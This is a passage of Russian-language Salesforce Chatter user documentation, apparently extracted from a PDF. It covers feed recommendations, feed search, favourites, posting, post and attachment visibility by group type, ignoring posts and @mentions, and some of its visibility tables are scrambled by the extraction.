Просмотр рекомендаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Chatter поддерживает функцию определения рекомендаций, позволяющую выбирать
те записи, группы, файлыилипользователей, отслеживаниекоторыхможетпредставлять
определенныйинтерес. Чембольшерекомендацийпринимаетпользователь, тембольше
обновлений отображается в ленте.

• Чтобы начать отслеживание нужного пользователя, записи или файла, щелкните
ссылку «Отслеживать».

• Чтобы стать участником группы, щелкните ссылку «Присоединиться».

• Чтобы пропустить рекомендацию, щелкните значок .

• Чтобы открыть страницу «Рекомендации» для фильтрации записей по критерию
«Люди», «Группы», «Записи» или «Файлы», щелкните ссылку «Дополнительно».

СМ. ТАКЖЕ:

Рекомендации по людям

Рекомендации по группам Chatter

Рекомендации по записям

Рекомендации по файлам
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Поиск данных в лентах

Поиск по лентам

Быстрый поиск нужной информации в сообщениях и комментариях Chatter.

• Чтобы выполнить поиск по лентам Chatter, воспользуйтесь функцией глобального поиска.

• Чтобы найти нужные сведения в конкретной ленте Chatter, воспользуйтесь контекстным поиском по лентам ( ).

• Чтобы ускорить доступ к часто выполняемому поиску в Chatter, сохраните поиск по лентам в качестве избранного и
щелкните ссылку избранного на странице Chatter.

Результаты поиска по лентам Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Результаты поиска по лентам Chatter содержат сообщения и комментарии,
соответствующие критериям поиска.

Поиск по лентам Chatter не ограничивается выбранными критериями. В результате
поиска по лентам Chatter отображаются совпадения, найденные во всех объектах.

Прим.: Результаты поиска не содержат изменения, внесенные в поля записей.
Например, при отслеживании поля организации Acme «Адрес для счета» и
изменении адреса для счета данной организации поиск по критерию Acme
возвращает запись Acme — Иван Сидоров Требуются добровольные помощники для
организации Acme, но не запись Acme — Иван СидоровИзменен адрес для счета: ул. Мира,
50.

• Подобно лентам, результаты поиска могут быть отсортированы только по
сообщениям или по сообщениям и комментариям.

• Подобно лентам, результаты поиска позволяют комментировать, публиковать, удалять и добавлять сообщения в
закладки, а также выбирать понравившиеся сообщения.

• Подобно лентам, результаты поиска позволяют добавлять, редактировать и удалять темы из сообщений.

• Подобно лентам, результаты поиска позволяют отслеживать, публиковать, загружать, обновлять и открывать файлы
для предварительного просмотра.

• Чтобы просмотреть страницу сведений о файле, группе, теме или пользователе Chatter, щелкните соответствующее
имя в обновлении.

• Чтобыпросмотретьотдельноеобновлениеленты, щелкнитевременнуюотметкуподнужнымобновлением (например,
«Вчера в 12:57»).

• ЧтобысохранитьпоискполентамChatter визбранномнавкладкеChatter, щелкнитессылку «Добавитьвизбранное».

Чтобы просмотреть результаты поиска по записям (например, организации, контакты, файлы, группы, темы и люди
Chatter), щелкните «Записи» в верхнем левом углу страницы.

Совет: Чтобы выполнить уточненный поиск по лентам в конкретной группе, профиле, записи или другой ленте
Chatter, воспользуйтесь поиском по лентам.
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Поиск по конкретной ленте

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Чтобы найти нужные сведения в конкретном контексте, воспользуйтесь поиском по
лентам.

Поиск может быть выполнен по лентам, доступным в записях, группах и профилях
пользователей, а также на страницах тем или вкладках Chatter и «Начальная страница».
Контекстный поиск по лентам позволяет определять темы, которые уже обсуждались в
конкретной ленте.

1. Чтобы выполнить поиск по ленте, щелкните значок над нужной лентой.
Например, чтобы найти нужные сведения в группе, воспользуйтесь поиском по
лентам на странице группы.

2. Введите критерии поиска и нажмите клавишу ENTER илищелкните значок .

Поискможетохватывать темысхэштегами, упоминанияифайлы, опубликованныевленту. Чтобыуточнить критерии
поиска, воспользуйтесь специальными символами и операторами. Чтобы найти точные совпадения, воспользуйтесь
кавычками.

Совет: Чтобы найти тему с хэштегом, состоящим из нескольких слов, воспользуйтесь квадратными скобками.
Например, чтобы найти все экземпляры темы #Опытный садовник, введите строку #[опытный садовник] в поле
поиска.

При просмотре результатов поиска найденные совпадения отображаются выделенными. Фильтры или критерии
сортировки, используемые в ленте, применяются к результатам поиска по лентам.

Чтобы очистить результаты поиска и вернуться в ленту, щелкните значок .

Алгоритм поиска по лентам определяется областью поиска.

• Поиск по лентам не поддерживается лентами списковых представлений.

• Поиск может быть выполнен только по лентам, доступ к которым предоставляется посредством правил общего
доступа.
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• Результаты поиска по лентам на вкладке Chatter ограничиваются выбранными типами лент. Например, при выборе
типа ленты «Мне», дополнительныхфильтрови критерия сортировкирезультатыпоиска по лентамограничиваются
всеми данными критериями.

• Результаты поиска по лентам ограничиваются сообщениями, доступными в контексте, который используется для
поиска. Например, поиск по ленте в профиле пользователя возвращает сообщения и комментарии, доступные в
профилепользователя. Результатыпоиска содержат сообщенияикомментарии, опубликованныетекущимидругими
пользователями.

• Поиск по лентам возвращает совпадающие имена файлов или ссылок, опубликованных в сообщениях, но не в
комментариях.

• Результаты поиска по лентам записей не содержат изменения, внесенные в поля записей.

Добавление поиска по лентам Chatter в избранное

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

ЧтобыбыстропереходитькобновлениямлентыпрямонавкладкеChatter, добавьтепоиск
по лентам Chatter в избранное.

1. Введите критерии поиска в область, расположенную в верхнем колонтитуле, и нажмите кнопку «Поиск».

2. Чтобы просмотреть сообщения и комментарии, содержащие критерии поиска, щелкните «Поиск по лентам».

3. Щелкните ссылку «Добавить в избранное».

Пример:
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Имя, отображаемое в избранном на странице Chatter, соответствует введенному поисковому запросу. Например, в
результате поиска по критерию конкурентный анализ, в избранное добавляется запись с именем конкурентный
анализ.

Совет: Для быстрого доступа к ленте группы на странице Chatter рекомендуем сохранить поиск по имени
группы Chatter в качестве избранного. Аналогично, для быстрого доступа к сообщениям, комментариям и
упоминаниям о конкретном пользователе, рекомендуем сохранить поиск по имени пользователя в качестве
избранного.

СМ. ТАКЖЕ:

Результаты поиска по лентам Chatter

Общие сведения об избранном Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Избранное Chatter на вкладке Chatter — это область быстрого доступа к списковым
представлениям, результатампоискаполентамChatterитемам, представляющимособый
интерес для текущего пользователя. Например, если для отслеживания информации,
связанной с компанией Acme, используется тема с хэштегом #acme, то эта тема может
бытьдобавленавизбранноесцельюбыстрогодоступак соответствующимобновлениям
прямо на вкладке Chatter.

Пользователь может добавить в избранное не более 50 записей. Раздел «Избранное»
отображается на вкладке Chatter только при наличии в нем записей.

НавкладкеChatterотображаютсячетыреизбранныхзаписи, которыебылипросмотрены
или добавлены недавно.

• Для просмотра обновлений выберите нужную избранную запись.

• Для просмотра всех избранных записей щелкните ссылку «Еще X».

• Чтобы удалить запись из избранного, щелкните значок , отображающийся при наведении указателя мыши.
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Работа с сообщениями

Общие сведения о публикации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Пользователи могут обмениваться информацией и сотрудничать с другими
пользователями внутри и за пределами организации. Рекомендуем использовать
публикатор Chatter для публикации сообщений, удаления сообщений, добавления
вопросов и создания опросов.

Публикатор отображается на вкладке «Начальная страница», вкладке Chatter и странице
профиляпользователя, а такжена страницах сведенийо группахи записях. Рекомендуем
использоватьпубликатордля созданиясообщения (1), добавленияфайла (2) илиссылки
(3), создания опроса (4) или публикации вопроса (5). Максимальная длина сообщения
или комментария не должна превышать 10 000 символов. Для форматирования
сообщений воспользуйтесь редактором обогащенного текста (6).

По умолчаниюпубликатор отображает действия «Сообщение», «Файл», «Ссылка», «Опрос» и «Вопрос». Администратор
Salesforce может изменить порядок отображения действий и добавить другие действия. Таким образом, отображаемые
действия определяются настройками публикатора, заданными администратором.

При публикации сообщения в ленту все пользователи, имеющие доступ к данному сообщению, могут выполнять такие
действия, как комментирование, выбор понравившегося и публикация (1). Кроме того, пользователи могут добавлять
закладки и темы посредством раскрывающегося меню (2).

Чтобыизменить собственные сообщения и комментарии, щелкните «Правка». Менеджер или ответственный за группу
может также редактировать сообщения других пользователей в ленте группы. Чтобы удалить сообщение из ленты,
щелкните «Удалить». Тем не менее, пользователи не могут удалять сообщения других пользователей или сообщения,
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созданные системой Salesforce автоматически. Например, пользователи не могут удалять такие обновления записи, как
сообщения об изменении поля организации.

Прим.: Если параметр «Правка» недоступен, то данная функция выключена администратором организации.

СМ. ТАКЖЕ:

Доступность сообщений

Доступность сообщений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

В таблице ниже описаны области публикации и отображения сообщений.

Рекомендации
по
использованию
файлов

Области
отображения
сообщений

Прямой
доступ к
сообщениям

Целевая
аудитория

Область
публикации

Файл,
добавленный в
сообщение,
доступен всем
сотрудникам.
Кроме того,
файл

Мои
отслеживающие

Вкладка
«Начальная
страница»,
вкладка
«Chatter» или
собственный
профиль

•• Сообщение
доступно в
профиле
всем
пользователям,
просматривающим
профиль.

Сообщение
доступно
отслеживающим
пользователям
в ленте
«Отслеживаемые».

• Сообщение
доступно

отображается в
результатах• Сообщение

отображаетсяупомянутым поиска и
впользователям списках

файлов.результатах
поиска по
лентам.

в лентах
«Отслеживаемые»,
«Мне» и
лентах
профиля.

• Сообщение
доступно
всем
пользователям
в ленте «Вся
компания».

Файл,
добавленный в

Общедоступная
группа

•• Сообщение
доступнона

Сообщение
доступно

сообщение,страницеучастникам
доступен всемгруппывсемданной
пользователям,пользователям,группы в
имеющимпросматривающим

группу.
ленте
«Отслеживаемые». доступк группе.

Кроме того,
•• Сообщение

отображается
Сообщение
доступно

файл
отображается в

упомянутым в результатах
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Рекомендации по
использованию
файлов

Области
отображения
сообщений

Прямой доступ к
сообщениям

Целевая аудиторияОбласть публикации

поиска и списках
файлов.

результатахпоиска
по лентам.

участникамданной
группы в лентах
«Отслеживаемые», • Сообщение

доступно всем«Мне» и лентах
профиля. пользователям в

ленте «Вся
компания».

Файл, добавленный в
сообщение, доступен

Сообщение доступно
только участникам

Личная группа • Сообщение
доступно

всем пользователям,группы в лентеучастникамданной
имеющим доступ кгруппы, результатахгруппы в ленте

«Отслеживаемые». группе. Кроме того,
файл отображается в

поиска по лентам и
ленте «Вся компания».

• Сообщение
доступно

результатах поиска и
списках файлов.

упомянутым
участникамданной
группы в лентах
«Отслеживаемые»,
«Мне» и лентах
профиля.

Файл, добавленный в
сообщение, доступен

Сообщение доступно
только участникам

Неуказанная группа • Сообщение
доступно

для просмотра игруппы иучастникамданной
поиска всемпользователям сгруппы в ленте

«Отслеживаемые». пользователям,
имеющим доступ к
группе.

полномочием
«Управление
неуказанными
группами» в ленте

• Сообщение
доступно
упомянутым группы, ленте «Вся

компания» ипрофиле.участникамданной
группы в лентах
«Отслеживаемые»,
«Мне» и лентах
профиля.

Файл, добавленный в
сообщение, доступен

Сообщение доступно
только участникам

Группа,
поддерживающая
клиентский доступ

• Сообщение
доступно
участникамданной всем пользователям,

имеющим доступ к
группы в ленте
группы, результатахгруппы в ленте

«Отслеживаемые». группе. Кроме того,
файл отображается в

поиска по лентам и
ленте «Вся компания».

• Сообщение
доступно

результатах поиска и
списках файлов.

Участникамиявляются
сотрудникииклиенты.
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Рекомендации по
использованию
файлов

Области
отображения
сообщений

Прямой доступ к
сообщениям

Целевая аудиторияОбласть публикации

упомянутым
участникамданной
группы в лентах
«Отслеживаемые»,
«Мне» и лентах
профиля.

Файл, добавленный в
сообщение, доступен

Мои отслеживающиеСтраница сведений о
теме

•• Сообщение
доступно всем

Сообщение
доступно

всем сотрудникам.пользователям наотслеживающим
Кроме того, файлстраницесведений

о теме.
пользователям в
ленте
«Отслеживаемые».

отображается в
результатах поиска и
списках файлов.• Сообщение

доступно в• Сообщение
доступно профиле всем
упомянутым пользователям,
пользователям в просматривающим

профиль.лентах
«Отслеживаемые», • Сообщение

отображается в«Мне» и лентах
профиля. результатахпоиска

по лентам.

• Сообщение
доступно всем
пользователям в
ленте «Вся
компания».

Файл, добавленный в
сообщение, доступен

Общедоступная
группа

•• Сообщение
доступно всем

Сообщение
доступно

всем пользователям,пользователям научастникамданной
имеющим доступ кстраницесведений

о теме.
группы в ленте
«Отслеживаемые». группе. Кроме того,

файл отображается в
•• Сообщение

доступно на
Сообщение
доступно

результатах поиска и
списках файлов.

упомянутым странице группы
участникамданной всем
группы в лентах пользователям,
«Отслеживаемые», просматривающим

группу.«Мне» и лентах
профиля. • Сообщение

отображается в

3239

Публикация общедоступных обновлений (Chatter)Расширенное сотрудничество



Рекомендации по
использованию
файлов

Области
отображения
сообщений

Прямой доступ к
сообщениям

Целевая аудиторияОбласть публикации

результатахпоиска
по лентам.

• Сообщение
доступно всем
пользователям в
ленте «Вся
компания».

Файл, добавленный в
сообщение, доступен

Сообщение доступно
только участникам

Личная группа • Сообщение
доступно

всем пользователям,группы на страницеучастникамданной
имеющим доступ ксведений о теме, вгруппы в ленте

«Отслеживаемые». группе. Кроме того,
файл отображается в

ленте группы,
результатах поиска по

• Сообщение
доступно

результатах поиска и
списках файлов.

лентам и ленте «Вся
компания».

упомянутым
участникамданной
группы в лентах
«Отслеживаемые»,
«Мне» и лентах
профиля.

Файл, добавленный в
сообщение, доступен

Сообщение доступно
только участникам

Группа,
поддерживающая
клиентский доступ

• Сообщение
доступно
участникамданной всем пользователям,

имеющим доступ к
группы на странице
сведений о теме, вгруппы в ленте

«Отслеживаемые». группе. Кроме того,
файл отображается в

ленте группы,
результатах поиска по

• Сообщение
доступно

результатах поиска и
списках файлов.

лентам и ленте «Вся
компания».
Участникамиявляются
сотрудникииклиенты.

Несмотря на
доступность

упомянутым
участникамданной
группы в лентах
«Отслеживаемые»,
«Мне» и лентах
профиля. сообщения, клиенты

не могут
просматривать темы.

Использование темнеподдерживаетсянеуказаннымигруппами. Принеобходимостидобавьте
тему с хэштегом при создании сообщения или комментария для неуказанной группы;

Неуказанная группа

опубликованная тема будет отображаться в виде ссылки. Тем не менее, данная ссылка будет
нерабочей ввиду отсутствия созданной страницы сведений о теме.
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Рекомендации по
использованию
файлов

Области
отображения
сообщений

Прямой доступ к
сообщениям

Целевая аудиторияОбласть публикации

Файл, добавленный в
сообщение, доступен

Толькопрофильэтого
пользователя

Профиль другого
пользователя

•• Сообщение
доступно в

Сообщение
доступно

всем сотрудникам.профиле всемотслеживающим
Кроме того, файлпользователям,пользователям в
отображается впросматривающимленте

«Отслеживаемые». результатах поиска и
списках файлов.

профиль этого
пользователя.• Сообщение

доступно • Сообщение
отображается вупомянутым
результатахпоиска
по лентам.

пользователям в
лентах
«Отслеживаемые», • Сообщение

доступно всем«Мне» и лентах
профиля. пользователям в

ленте «Вся
компания».

Файл, добавленный в
сообщение, доступен

Только
общедоступнаягруппа

Общедоступная
группа

•• Сообщение
доступно на

Сообщение
доступно

всем пользователям,странице группыучастникамданной
имеющим доступ квсемгруппы в ленте

«Отслеживаемые». группе. Кроме того,
файл отображается в

пользователям,
просматривающим
группу.

• Сообщение
доступно

результатах поиска и
списках файлов.

упомянутым • Сообщение
отображается вучастникамданной
результатахпоиска
по лентам.

группы в лентах
«Отслеживаемые»,
«Мне» и лентах
профиля.

• Сообщение
доступно всем
пользователям в
ленте «Вся
компания».

Файл, добавленный в
сообщение, доступен

Сообщение доступно
только участникам

Только личная группаЛичная группа • Сообщение
доступно

всем пользователям,группы в лентеучастникамданной
имеющим доступ кгруппы, результатахгруппы в ленте

«Отслеживаемые». группе. Кроме того,
файл отображается в

поиска по лентам и
ленте «Вся компания».

• Сообщение
доступно

результатах поиска и
списках файлов.

упомянутым
участникамданной
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Рекомендации по
использованию
файлов

Области
отображения
сообщений

Прямой доступ к
сообщениям

Целевая аудиторияОбласть публикации

группы в лентах
«Отслеживаемые»,
«Мне» и лентах
профиля.

Файл, добавленный в
сообщение, доступен

Сообщение доступно
только участникам

Только неуказанная
группа

Неуказанная группа • Сообщение
доступно

для просмотра игруппы в лентеучастникамданной
поиска всемгруппы, результатахгруппы и
пользователям,поиска по лентам и

ленте «Вся компания».
пользователям с
полномочием имеющим доступ к

группе.«Управление
неуказанными
группами» в ленте
«Отслеживаемые».

• Сообщение
доступно
упомянутым
участникамданной
группы в лентах
«Отслеживаемые»,
«Мне» и лентах
профиля.

Файл, добавленный в
сообщение, доступен

Сообщение доступно
только участникам

Только группа,
поддерживающая
клиентский доступ

Группа,
поддерживающая
клиентский доступ

• Сообщение
доступно
участникамданной всем пользователям,

имеющим доступ к
группы в ленте
группы, результатахгруппы в ленте

«Отслеживаемые». группе. Кроме того,
файл отображается в

поиска по лентам и
ленте «Вся компания».

• Сообщение
доступно

результатах поиска и
списках файлов.

Участникамиявляются
сотрудникииклиенты.

упомянутым
участникамданной
группы в лентах
«Отслеживаемые»,
«Мне» и лентах
профиля.

Файл, добавленный в
сообщение,

Сообщение доступно
всем пользователям,

Только записьСтраница записи • Сообщение
доступно в ленте

связывается с записью.имеющим доступ к«Отслеживаемые»
Файл доступен всемзаписи, на страницевсем
пользователям,сведений о записи, впользователям,
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Рекомендации по
использованию
файлов

Области
отображения
сообщений

Прямой доступ к
сообщениям

Целевая аудиторияОбласть публикации

отслеживающим
данную запись и

имеющим общий
доступ к записи.

профиле, результатах
поиска по лентам и
ленте «Вся компания».имеющим доступ

к записи.

• Сообщение
доступно в лентах
«Отслеживаемые»,
«Мне» и лентах
профиля
упомянутым
пользователям,
имеющим доступ
к записи.

Прим.: Архивные группы не позволяют создавать сообщения. Комментарии к текущим сообщениям архивной
группы используют параметры доступности, применявшиеся до архивирования группы.

Можно ли заблокировать доступ пользователей к моим сообщениям?

Внастоящеевремясообщениявпрофиледоступнывсемпользователям, кромеклиентов. Крометого, сообщениядоступны
отслеживающимпользователям в их лентах Chatter.Однако при изменении записи соответствующее обновление ленты
доступно только пользователям с полномочием на ее просмотр.

СМ. ТАКЖЕ:

Отправка сообщений Chatter

Будут ли сообщения, добавленные в группу, отображаться в моем профиле, чтобы быть доступными
другим пользователям?

Да, однако их доступность определяется типом группы. При добавлении сообщений в...

• общедоступную группу, сообщения будут доступны в профиле всем пользователям, кроме клиентов.

• личную группу, сообщения будут доступны в профиле только другим участникам группы.

• личную группу, поддерживающуюдоступ клиентов, сообщения будут доступны в группе всем участникам. Клиенты,
являющиеся участниками группы, могут просматривать сообщения на странице группы, но не в профиле.

• неуказаннуюгруппу, сообщениябудутдоступнывпрофилетолькоучастникамгруппыипользователямсполномочием
«Управлениенеуказаннымигруппами». Клиенты, являющиесяучастникамигруппы, могутпросматриватьсообщения
на странице группы, но не в профиле.

СМ. ТАКЖЕ:

Группы Chatter
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Игнорирование сообщения

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях: Group
Edition, Enterprise Edition,
Professional Edition,
Performance Edition,
Unlimited Edition, Contact
Manager Edition и
Developer Edition.

Пользователи могут контролировать содержимое ленты новостей и игнорировать
ненужные сообщения.

Чтобыигнорироватьсообщение, выберитепункт«Игнорировать»израскрывающегося
меню сообщения. Игнорирование сообщений поддерживается лентами на вкладках
«Начальная страница» и «Chatter», но не поддерживается лентами групп, профилей или
записей. Если организация поддерживает электронные ответы, то пользователи могут
игнорироватьсообщенияпутемотправкиответов, содержащиходнослово «игнорировать».

Ниже перечислены последствия игнорирования сообщения.

• Сообщение больше не отображается в лентах на вкладках «Начальная страница» и
«Chatter».

• Пользователь больше не получает уведомления об обновлениях для данного
сообщения.

• Пользователь может просмотреть игнорируемые сообщения посредством фильтра «Игнорируемые» на боковой
панели.

• При упоминании пользователя в игнорируемом сообщении игнорирование сообщения автоматически отменяется.
Сообщение вновь отображается в ленте пользователя, а пользователь получает уведомление об обновлении, если
организация поддерживает электронные уведомления.

• Сообщение, опубликованное изначально в ленту группы, профиля или записи, продолжает отображаться в данной
ленте.

Например, сообщение публикуется в группу с участием пользователя. Оно отображается в ленте группы и ленте
новостей пользователя на вкладках «Начальная страница» и «Chatter». Пользователь может игнорировать сообщение
в ленте новостей, но оно продолжает отображаться в ленте группы.

Пример: Ниже приведен пример игнорирования сообщения посредством раскрывающегося меню.

Чтобы просмотреть все игнорируемые сообщения, выберите фильтр «Игнорируемые».
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Упоминание людей и групп

@Упоминание людей и групп в сообщениях и комментариях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

@Упоминаниеотдельногочеловекаили группыпозволяет держатьпользователя в курсе
важных для него обсуждений.

1. При создании сообщения введите символ @ и первые буквы имени нужного
пользователя или группы.

2. Выберите пользователя или группу из списка совпадений.

Данный список содержит все совпадения для:

• Лиц, обычно пользователей, с которыми вы наиболее часто взаимодействуете

• Общедоступные группы

• Личные группы со своим участием

Одно сообщение или комментарий может содержать не более 25 упоминаний.
Упоминаниянедоступныдля архивных групп, неуказанных групп, группклиентовиличных группбез своего участия.

3. Чтобы опубликовать обновление, нажмите кнопку «Опубликовать».

Ниже перечислены действия, выполняемые после публикации обновления.

• Имя пользователя отображается в виде ссылки на профиль, а имя группы — в виде ссылки на страницу группы.

• При упоминании пользователя обновление добавляется в ленту профиля и ленту «Мне» соответствующего
пользователя.

• Chatter отправляет электронное уведомление упомянутым пользователям.

• При упоминании группы:

– Обновление добавляется в ленту группы и ленту «Отслеживаемые» каждого участника группы.

– Chatter отправляет электронное уведомление участникам группы, включившимпараметр группы «Отправлять по
эл. почте каждое сообщение».

– Если упоминание опубликовано в ленте записи, эта запись появится в списке записей группы.
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Пример: Пользователь Алексей публикует сообщение о поиске сведений относительнофункции продукта Acme.
Коллега Алексея отвечает на сообщение следующим комментарием: «Обратитесь к пользователю @Иван Петров,
который является менеджером по работе с клиентами Acme. @Продукты Acme, можно ли предоставить Алексею
дополнительнуюинформациюоданнойфункции?». Электронноеуведомлениеопубликацииданногосообщения
будетотправленопользователюИванПетровиучастникамгруппы «Продукты Acme». Упоминание@ИванПетров,
добавленное в обновление, позволяет Алексею просмотреть профиль Ивана, а упоминание @Продукты Acme —
страницу группы.

Chatter поддерживает меры безопасности и правила общего доступа, применяемые в системе Salesforce. При публикации
сообщения для записи, личной или неуказанной группы @упомянутому пользователю, не имеющему доступа к данной
записиилинеявляющемусяучастникомгруппы, @упоминаниеотображается серымцветом. Упомянутомупользователю
не отображается сообщение и соответствующее уведомление.Например, пользователь создает личную группу для
рабочей группы проекта и забывает добавить сотрудника Марию Кузнецову. При публикации обновления в данную
группу и @упоминанииМарии Кузнецовой данный сотрудник не получает соответствующее уведомление. Кроме того,
данный сотрудник не может просмотреть само обновление, так как не является участником личной группы. При
последующем добавленииМарии в группу Chatter не уведомляет ее о предыдущих упоминаниях.

СМ. ТАКЖЕ:

Публикация сообщения Chatter

Публикация ссылки на сообщение Chatter

Просмотр отдельного сообщения Chatter

@Упоминания пользователей и групп: доступность

@Упоминания пользователей и групп: доступность

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Сообщениеи все комментарии, содержащие @упоминания людейили групп, доступны
всем пользователям, имеющим доступ к обновлению.

Данная таблица описывает области приложения, которые отображают сообщения и
комментарии, содержащие упоминания о людях, общедоступных группах и личных
группах. Упоминания недоступны для личных групп, содержащих клиентов, и
неуказанных групп.

Люди, которые могут просматривать
сообщение и комментарии

Объект
упоминания

Область
публикации
сообщения

Любойпользователь, которомудоступен
профиль.

Другие людиПрофиль
пользователя

Любойпользователь, которомудоступен
профиль.

Общедоступная
группа

Любойпользователь, которомудоступен
профиль (включая пользователей,

Личная группа

которыенеявляютсяучастникамиличной
группы).

Любойпользователь, которому доступна
общедоступная группа А.

Другие людиОбщедоступная
группа А
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Люди, которые могут просматривать сообщение и
комментарии

Объект упоминанияОбласть публикации
сообщения

Любойпользователь, которому доступна общедоступная
группа А.

Общедоступная группа Б

Любойпользователь, которому доступна общедоступная
группа А (включая пользователей, которые не являются
участниками личной группы).

Личная группа

Участники личной группы А.Другие людиЛичная группа А

Участники личной группы А.Общедоступная группа

Участники личной группы А (включая пользователей,
которые не являются участниками личной группы Б).

Личная группа Б

Люди, являющиеся участниками обеих личных групп,
могут просмотреть сообщение в ленте личной группы Б.

Участники неуказанной группы А и пользователи с
полномочием «Управление неуказанными группами».

Другие людиНеуказанная группа А

Участники неуказанной группы А и пользователи с
полномочием «Управление неуказанными группами».

Общедоступная группа

Участники личной группы Б, являющиеся участниками
неуказанной группы А или обладающие полномочием
«Изменение неуказанных групп».

Личная группа Б

Люди, имеющие общий доступ к записи.Другие людиСтраница сведений о записи

Люди, имеющие общий доступ к записи.Общедоступная группа

Люди, имеющие общий доступ к записи (включая
пользователей, которыене являются участникамиличной
группы).

Личная группа

Доступность сообщенийикомментариевопределяетсяпараметрамиобщегодоступа к сообщению. Доступпользователя
к исходному сообщению гарантирует его доступ ко всем последующим комментариям.

Вложения ленты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Файлы и ссылки, добавленные в сообщения или комментарии, могут быть доступны
другим пользователям.

Файлы и ссылки могут быть добавлены в сообщения и комментарии с персонального
компьютера, из библиотек Salesforce CRM Content, лент Chatter и списка «Файлы».
Поддерживаются все типыфайлов, в том числе: презентации Microsoft® PowerPoint,
электронные таблицы Excel, PDF-файлы Adobe®, изображения, аудио- и видеофайлы.

Втаблиценижеуказаныпользователи, имеющиедоступк вложенномуфайлу, иобласти,
в которых он отображается.
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Где отображается?Кто имеет доступ?Файл вложен...

Все пользователи Chatter в компаниив ленте Chatter • В профиле, собственной ленте и в
лентах Chatter отслеживающих
пользователей

• Всписке «Файлы» ив Salesforce CRM
Content для всех пользователей
Chatter в компании

Все пользователи Chatter в компаниив собственном профиле или в
профиле другого пользователя

• В собственной ленте, в ленте
другого пользователя и в лентах
отслеживающих пользователей, а
также в лентах и профилях
пользователей, которые
отслеживают отслеживающих
пользователей

• В списке «Собственные файлы»,
доступномвпрофилепользователя

• Всписке «Файлы» ив Salesforce CRM
Content для всех пользователей
Chatter в компании

Все пользователи Chatter в компаниив общедоступной группе • В собственной ленте, лентах
отслеживающих пользователей и
лентах участников группы

• В собственной ленте, доступной в
профиле пользователя

• В ленте, доступной в группе

• В списке «Файлы группы»,
доступном в группе

• На странице «Файлы» и в Salesforce
CRM Content всех пользователей
Chatter в компании

Участники группы и пользователи с
полномочиями «Изменение всех
данных» и «Просмотр всех данных»

в личной группе со своим участием • В собственной ленте и лентах
участников группы

• В собственной ленте, доступной в
профиле пользователя

• В ленте, доступной в группе

• В списке «Файлы группы»,
доступном в группе

• В собственном списке «Файлы»,
списках «Файлы» участников
группы и в Salesforce CRM Content
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Где отображается?Кто имеет доступ?Файл вложен...

Участники группы и пользователи с
полномочием «Управление
неуказанными группами»

в неуказанной группе со своим
участием

• В собственной ленте и лентах
участников группы

• В собственной ленте, доступной в
профиле пользователя

• В ленте, доступной в группе

• В списке «Файлы группы»,
доступном в группе

• В собственном списке «Файлы»,
списках «Файлы» участников
группы и в Salesforce CRM Content

Все пользователи Chatter в компаниив записи • В собственной ленте (при условии
отслеживания записи), в лентах
отслеживающих пользователей и
в лентах пользователей,
отслеживающих данную запись

• В собственной ленте, доступной в
профиле пользователя

• В ленте, доступной в записи

• В связанном списке «Примечания»
записи

• В списках «Файлы» всех
пользователей Chatter в компании

СМ. ТАКЖЕ:

Доступность сообщений

Добавление файлов или ссылок

Добавление файла в сообщение или комментарий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group,
Enterprise, Professional,
Performance, Unlimited,
Contact Manager и
Developer

Файлы и ссылки, доступные в системе Salesforce или на персональном компьютере и
добавленныевсообщенияиликомментарии, могутбытьдоступныдругимпользователям.

Пользователи могут прикреплять все поддерживаемые типыфайлов, включая
презентации Microsoft® PowerPoint, электронные таблицы Excel, PDF-файлы Adobe®,
изображения, аудио- ивидеофайлы. Максимальныйразмерфайланедолженпревышать
2 Гб.

Ниже перечислены рекомендации по добавлениюфайлов.

• Файл, опубликованный в ленту, доступен любому сотруднику компании даже в том
случае, если ему присвоен статус личного. Файл, опубликованный в личную группу,
доступен только ее участникам.
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• Придобавлениифайла из группыилибиблиотеки создается ссылка нафайл. Поэтому обновлениефайла в Salesforce
CRM Content также отображается в ленте.

1. Чтобы добавить файл в сообщение, щелкните ссылку «Файл» вверху ленты. Чтобы добавить файл в комментарий,
щелкните ссылку «Вложитьфайл» под соответствующим комментарием.

Придобавлении комментария к обновлению, отображающемуся в результате отслеживанияфайла в ленте, параметр
«Вложитьфайл» недоступен.

2. Выполните одно из указанных ниже действий.

• Чтобывложитьфайл, которыйуже загруженилисинхронизированпосредствомпапки Salesforce Files Sync, нажмите
кнопку «Выбратьфайл в Salesforce».

• Чтобы добавить новые локальные файлы, нажмите кнопку «Загрузитьфайл с компьютера пользователя».

3. Найдите нужныйфайл.

Ссылки, документы Google, документы на вкладке «Документы» и вложения из связанного списка «Примечания и
вложения» не могут быть добавлены в список «Выбор файла для добавления». Дополнительную информацию о
поиске файлов для добавления см. в разделе «Поиск файлов для добавления в ленту Chatter».

4. Введите сообщение или комментарий к файлу.

